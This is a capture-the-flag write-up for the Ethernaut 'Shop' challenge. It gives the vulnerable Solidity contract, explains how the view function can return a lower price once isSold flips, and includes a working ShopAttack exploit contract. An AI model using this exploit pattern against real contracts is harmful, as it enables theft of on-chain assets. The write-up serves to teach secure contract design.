> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfwriteup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfwriteup/web3-ctf/ethernaut/shop.md).

# Shop

view functions

## Description

Сan you get the item from the shop for less than the price asked?

Things that might help:

* `Shop` expects to be used from a `Buyer`
* Understanding restrictions of view functions

## Code Audit

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }
}
```

This challenge is similar to "Elevator", but with a little tweak. In "Elevator", we distinguish 1st and 2nd call by defining a `counter` state variable. In this challenge, we are in a restricted environment (like a sandbox) because `price()` is defined as a **view function**. In short, we can only read but not write on state variables.

This is not a problem. Note that the `isSold` state variable flips from `false` to `true`, and it is just like the `counter` we defined in "Elevator". Since `isSold` is public, we can read its content through the getter `isSold()` that is automatically generated by the Solidity compiler.

## Solution

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import './Shop.sol';

contract ShopAttack {
	Shop public shop;

	constructor(Shop _shop) {
	    shop = _shop;
	}

	function buy() public {
	    shop.buy();
	}

	function price() public view returns(uint) {
	    return shop.isSold() ? 0 : 100;
	}
}
```

Deploy the exploit contract and feed in the address of the target contract:

<figure><img src="https://223316867-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVtlSxURaW2QQu6RU5%2Fuploads%2FHcYgbsW0ebzRtCaRqhhZ%2FShopAttack%20deploy.png?alt=media&amp;token=b85c2d80-3cc8-4c32-9ef6-d4f9f69a4364" alt=""><figcaption><p>ShopAttack deploy</p></figcaption></figure>

Call the `buy` function.

## Summary

Contracts can manipulate data seen by other contracts in any way they want.

It's unsafe to change the state based on external and untrusted contracts logic.
